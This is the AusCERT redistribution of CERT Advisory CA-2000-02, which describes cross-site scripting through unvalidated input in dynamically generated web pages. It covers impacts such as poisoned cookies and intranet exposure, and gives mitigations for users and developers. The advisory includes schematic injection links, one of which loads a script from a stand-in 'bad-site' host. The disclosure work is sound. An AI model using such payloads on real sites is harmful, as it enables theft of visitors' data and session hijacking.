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AUSCERT External Security Bulletin Redistribution
ESB-2000.023 -- CERT Advisory CA-2000-02
Malicious HTML Tags Embedded in Client Web Requests
03 January 2000
The CERT Coordination Centre has released the following advisory concerning
a vulnerability in Web servers that dynamically generate pages based on
unvalidated input from untrustworthy sources.
A web site may inadvertently include malicious HTML tags or script in their
web pages if they are dynamically generated, or if untrusted forms input
included in the page is not properly validated.
This vulnerability may allow web browser users to unintentionally execute
scripts on their local machine written by an attacker, when they follow
untrusted links in web pages, mail messages, or newsgroup postings. Browser
users may also unknowingly execute malicious scripts on their local machine
when viewing dynamically generated pages based on content provided by other
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CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web
This advisory is being published jointly by the CERT Coordination Center,
DoD-CERT, the DoD Joint Task Force for Computer Network Defense (JTF-CND),
the Federal Computer Incident Response Capability (FedCIRC), and the
National Infrastructure Protection Center (NIPC).
Original release date: February 2, 2000
A complete revision history is at the end of this file.
* Web browsers
* Web servers that dynamically generate pages based on unvalidated
A web site may inadvertently include malicious HTML tags or script in
a dynamically generated page based on unvalidated input from
untrustworthy sources. This can be a problem when a web server does
not adequately ensure that generated pages are properly encoded to
prevent unintended execution of scripts, and when input is not
validated to prevent malicious HTML from being presented to the user.
Most web browsers have the capability to interpret scripts embedded in
web pages downloaded from a web server. Such scripts may be written in
a variety of scripting languages and are run by the client's browser.
Most browsers are installed with the capability to run scripts enabled
Malicious code provided by one client for another client
Sites that host discussion groups with web interfaces have long
guarded against a vulnerability where one client embeds malicious HTML
tags in a message intended for another client. For example, an
attacker might post a message like
Hello message board. This is a message.
This is the end of my message.
When a victim with scripts enabled in their browser reads this
message, the malicious code may be executed unexpectedly. Scripting
tags that can be embedded in this way include <SCRIPT>, <OBJECT>,
<APPLET>, and <EMBED>.
When client-to-client communications are mediated by a server, site
developers explicitly recognize that data input is untrustworthy when
it is presented to other users. Most discussion group servers either
will not accept such input or will encode/filter it before sending
anything to other readers.
Malicious code sent inadvertently by a client for itself
Many Internet web sites overlook the possibility that a client may
send malicious data intended to be used only by itself. This is an
easy mistake to make. After all, why would a user enter malicious code
that only the user will see?
However, this situation may occur when the client relies on an
untrustworthy source of information when submitting a request. For
example, an attacker may construct a malicious link such as
<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT>malicious
code</SCRIPT>"> Click here</A>
When an unsuspecting user clicks on this link, the URL sent to
example.com includes the malicious code. If the web server sends a
page back to the user including the value of mycomment, the malicious
code may be executed unexpectedly on the client. This example also
applies to untrusted links followed in email or newsgroup messages.
Abuse of Other Tags
In addition to scripting tags, other HTML tags such as the <FORM> tag
have the potential to be abused by an attacker. For example, by
embedding malicious <FORM> tags at the right place, an intruder can
trick users into revealing sensitive information by modifying the
behavior of an existing form. Other HTML tags can also be abused to
alter the appearance of the page, insert unwanted or offensive images
or sounds, or otherwise interfere with the intended appearance and
behavior of the page.
Abuse of Trust
At the heart of this vulnerability is the violation of trust that
results from the "injected" script or HTML running within the security
context established for the example.com site. It is, presumably, a
site the browser victim is interested in enough to visit and interact
with in a trusted fashion. In addition, the security policy of the
legitimate server site example.com may also be compromised.
This example explicitly shows the involvement of two sites:
<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT
SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>
Note the SRC attribute in the <SCRIPT> tag is explicitly incorporating
code from a presumably unauthorized source (bad-site). Both of the
previous examples show violations of the same-source origination
policy fundamental to most scripting security models:
Netscape Communicator Same Origin Policy
Microsoft Scriptlet Security
Because one source is injecting code into pages sent by another
source, this vulnerability has also been described as "cross-site"
At the time of publication, malicious exploitation of this
vulnerability has not been reported to the CERT/CC. However, because
of the potential for such exploitation, we recommend that organization
CIOs, managers, and system administrators aggressively implement the
steps listed in the solution section of this document. Technical
feedback to appropriate technical, operational, and law enforcement
authorities is encouraged.
Users may unintentionally execute scripts written by an attacker when
they follow untrusted links in web pages, mail messages, or newsgroup
postings. Users may also unknowingly execute malicious scripts when
viewing dynamically generated pages based on content provided by other
Because the malicious scripts are executed in a context that appears
to have originated from the targeted site, the attacker has full
access to the document retrieved, and may send data contained in the
page back to their site. For example, a malicious script can read
fields in a form provided by the real server, then send this data to
Alternatively, the attacker may be able to embed script code that has
additional interactions with the legitimate web server without
alerting the victim. For example, the attacker could develop an
exploit that posted data to a different page on the legitimate web
Also, even if the victim's web browser does not support scripting, an
attacker can alter the appearance of a page, modify its behavior, or
otherwise interfere with normal operation.
The specific impact can vary greatly depending on the language
selected by the attacker and the configuration of any authentic pages
involved in the attack. Some examples that may not be immediately
obvious are included here.
SSL-Encrypted Connections May Be Exposed
The malicious script tags are introduced before the Secure Socket
Layer (SSL) encrypted connection is established between the client and
the legitimate server. SSL encrypts data sent over this connection,
including the malicious code, which is passed in both directions.
While ensuring that the client and server are communicating without
snooping, SSL makes no attempt to validate the legitimacy of data
Because there really is a legitimate dialog between the client and the
server, SSL reports no problems. Malicious code that attempts to
connect to a non-SSL URL may generate warning messages about the
insecure connection, but the attacker can circumvent this warning
simply by running an SSL-capable web server.
Attacks May Be Persistent Through Poisoned Cookies
Once malicious code is executing that appears to have come from the
authentic web site, cookies may be modified to make the attack
persistent. Specifically, if the vulnerable web site uses a field from
the cookie in the dynamic generation of pages, the cookie may be
modified by the attacker to include malicious code. Future visits to
the affected web site (even from trusted links) will be compromised
when the site requests the cookie and displays a page based on the
field containing the code.
Attacker May Access Restricted Web Sites from the Client
By constructing a malicious URL an attacker may be able to execute
script code on the client machine that exposes data from a vulnerable
server inside the client's intranet.
The attacker may gain unauthorized web access to an intranet web
server if the compromised client has cached authentication for the
targeted server. There is no requirement for the attacker to
masquerade as any particular system. An attacker only needs to
identify a vulnerable intranet server and convince the user to visit
an innocent looking page to expose potentially sensitive data on the
Domain Based Security Policies May Be Violated
If your browser is configured to allow execution of scripting
languages from some hosts or domains while preventing this access from
others, attackers may be able to violate this policy.
By embedding malicious script tags in a request sent to a server that
is allowed to execute scripts, an attacker may gain this privilege as
well. For example, Internet Explorer security "zones" can be subverted
by this technique.
Use of Less-Common Character Sets May Present Additional Risk
Browsers interpret the information they receive according to the
character set chosen by the user if no character set is specified in
the page returned by the web server. However, many web sites fail to
explicitly specify the character set (even if they encode or filter
characters with special meaning in the ISO-8859-1), leaving users of
alternate character sets at risk.
Attacker May Alter the Behavior of Forms
Under some conditions, an attacker may be able to modify the behavior
of forms, including how results are submitted.
Solutions for Users
None of the solutions that web users can take are complete solutions.
In the end, it is up to web page developers to modify their pages to
eliminate these types of problems.
However, web users have two basic options to reduce their risk of
being attacked through this vulnerability. The first, disabling
scripting languages in their browser, provides the most protection but
has the side effect for many users of disabling functionality that is
important to them. Users should select this option when they require
the lowest possible level of risk.
The second solution, being selective about how they initially visit a
web site, will significantly reduce a user's exposure while still
maintaining functionality. Users should understand that they are
accepting more risk when they select this option, but are doing so in
order to preserve functionality that is important to them.
Unfortunately, it is not possible to quantify the risk difference
between these two options. Users who decide to continue operating
their browsers with scripting languages enabled should periodically
revisit the CERT/CC web site for updates, as well as review other
sources of security information to learn of any increases in threat or
risk related to this vulnerability.
Web Users Should Disable Scripting Languages in Their Browser
Exploiting this vulnerability to execute code requires that some form
of embedded scripting language be enabled in the victim's browser. The
most significant impact of this vulnerability can be avoided by
disabling all scripting languages.
Note that attackers may still be able to influence the appearance of
content provided by the legitimate site by embedding other HTML tags
in the URL. Malicious use of the <FORM> tag in particular is not
prevented by disabling scripting languages.
Detailed instructions to disable scripting languages in your browser
are available from our Malicious Code FAQ:
Web Users Should Not Engage in Promiscuous Browsing
Some users are unable or unwilling to disable scripting languages
completely. While disabling these scripting capabilities is the most
effective solution, there are some techniques that can be used to
reduce a user's exposure to this vulnerability.
Since the most significant variations of this vulnerability involve
cross-site scripting (the insertion of tags into another site's web
page), users can gain some protection by being selective about how
they initially visit a web site. Typing addresses directly into the
browser (or using securely-stored local bookmarks) is likely to be the
safest way of connecting to a site.
Users should be aware that even links to unimportant sites may expose
other local systems on the network if the client's system resides
behind a firewall, or if the client has cached credentials to access
other web servers (e.g., for an intranet). For this reason, cautious
web browsing is not a comparable substitute for disabling scripting.
With scripting enabled, visual inspection of links does not protect
users from following malicious links, since the attackers web site may
use a script to misrepresent the links in users window. For example,
the contents of the Goto and Status bars in Netscape are controllable
Solutions for Web Page Developers and Web Site Administrators
Web Page Developers Should Recode Dynamically Generated Pages to Validate
Web site administrators and developers can prevent their sites from
being abused in conjunction with this vulnerability by ensuring that
dynamically generated pages do not contain undesired tags.
Attempting to remove dangerous meta-characters from the input stream
leaves a number of risks unaddressed. We encourage developers to
restrict variables used in the construction of pages to those
characters that are explicitly allowed and to check those variables
during the generation of the output page.
In addition, web pages should explicitly set a character set to an
appropriate value in all dynamically generated pages.
Because encoding and filtering data is such an important step in
responding to this vulnerability, and because it is a complicated
issue, the CERT/CC has written a document which explores this issue in
Web Server Administrators Should Apply a Patch From Their Vendor
Some web server products include dynamically generated pages in the
default installation. Even if your site does not include dynamic pages
developed locally, your web server may still be vulnerable. For
example, your server may include malicious tags in the "404 Not Found"
page generated by your web server.
Web server administrators are encouraged to apply patches as suggested
by your vendor to address this problem. Appendix A contains
information provided by vendors for this advisory. We will update the
appendix as we receive more information. If you do not see your
vendor's name, the CERT/CC did not hear from that vendor. Please
contact your vendor directly.
Appendix A. Vendor Information
More information from apache can be found at
Microsoft is providing information and assistance on this issue for
its customers. This information will be posted at
Sun Microsystems, Inc.
Please see recommendations for Java Web Server at:
Our thanks to Marc Slemko, Apache Software Foundation member; Iris
Associates; iPlanet; the Microsoft Security Response Center, the
Microsoft Internet Explorer Security Team, and Microsoft Research.
This document is available from:
CERT/CC Contact Information
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
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